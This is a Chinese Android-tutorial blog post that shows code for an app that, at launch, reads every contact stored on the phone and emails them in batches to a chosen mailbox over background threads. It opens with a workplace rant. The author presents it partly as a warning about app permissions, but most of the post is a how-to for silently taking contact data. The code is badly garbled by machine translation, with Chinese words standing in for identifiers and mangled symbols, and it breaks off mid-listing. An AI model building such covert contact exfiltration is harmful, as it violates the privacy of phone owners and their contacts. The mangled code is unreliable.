最近上半年绩效确认,又是C,我就不明白了,怎么才能得B,怎么才能得a。我去,不借的书,不参加培训,不加班就活该得C,那你招一群刚毕业的学生得了,刚毕业的学生干劲大,加班到半夜都没问题,唉,不说了,这年头不加班干完活都觉得不正常了。
大家还记得上篇文章么,看下图。
今天的话我就是要在该应用程序启动的时候,将手机内存储的所有联系人通过邮件发送到指定的邮箱,怎么样,够狠吧。所以不是所有的应用我们都给他开读取手机信息的权限,否则就泄露个底朝天。我们先看一下发邮件,需要到网上下载这三个jar包,这三个jar包不好下,要么你去谷歌官网下,要么在csdn下,或者干脆在本篇文章下,给大家点福利。
说到这个发邮件,类是别人写的,我拿来以为能用,结果他妈的很多问题,压根就发不了邮件。改了很多问题,查了一些资料,尼玛才搞的定。说到这里,我就想说那些写博客的或者是抄博客的或者是转载博客的,咋们做技术的要凭良心写博客。不能不管三七二十一,就抄过来。这样不但让看你博客的人觉得你不专业,而且还浪费每个看你博客的人的时间。你写个博客,你文采不行,但是你把代码最起码写的能正常运行,能达到该代码能实现的功能吧。
好了,不说了。我们看一下代码,我的设计是将联系人信息全部读取出来,然后通过多线程分批发送到指定邮箱。要说到多线程,大家肯定会想到处理器,处理器会分发runable对象到主线程消息队列中。当我们实例化一个处理程序对象的时候,就默认与对它初始化的进程的消息队列绑定。那么当线程有更新UI的操作话,我们就需要把数据消息作为一个消息对象发送到消息队列中,然后,用处理程序中的handlerMessge方法处理传过来的数据信息,并操作UI。那么刚才说到分发runable对象到主线程队列中,我们看一下处理程序有哪些方法可以实现分发runable对象(查API)。
我们今天使用的其实就是发布方法,分发多个runable对象到消息队列并执行。说了这么多不如直接看代码来得实在。
private void SyncContactUserInfo (), { CustomRunable customeRunable; List
上节课我们已经写过如何读取手机联系人了,所以这里就不在赘述。这段代码其实就是把联系人信息读取出来,然后去分批发送。上面的代码相信做过分页的人都应该知道,需要注意的就是List
在上面的代码中我们看到了一个CustomRunable类,这个类是我自己定义的,如下
class CustomRunable implements Runnable { StringBuilder strBuilder =, new StringBuilder (); List祝辞,dataList; int 指数; public CustomRunable (List 祝辞,dataList,, int 指数),{ 时间=this.dataList dataList; 时间=this.index 指数; } public void  run (), { strBuilder.append (“& lt; html> & lt; body> & lt; table 风格=边界:1 px solid 黑色的祝辞”); strBuilder.append (“& lt; tr> & lt; th>姓名& lt;/th> & lt; th>手机号码& lt;/th> & lt;/tr>”); if (this.dataList !=, null ,,, this.dataList.size(),祝辞,0),{ for (Map Android切近实战(十)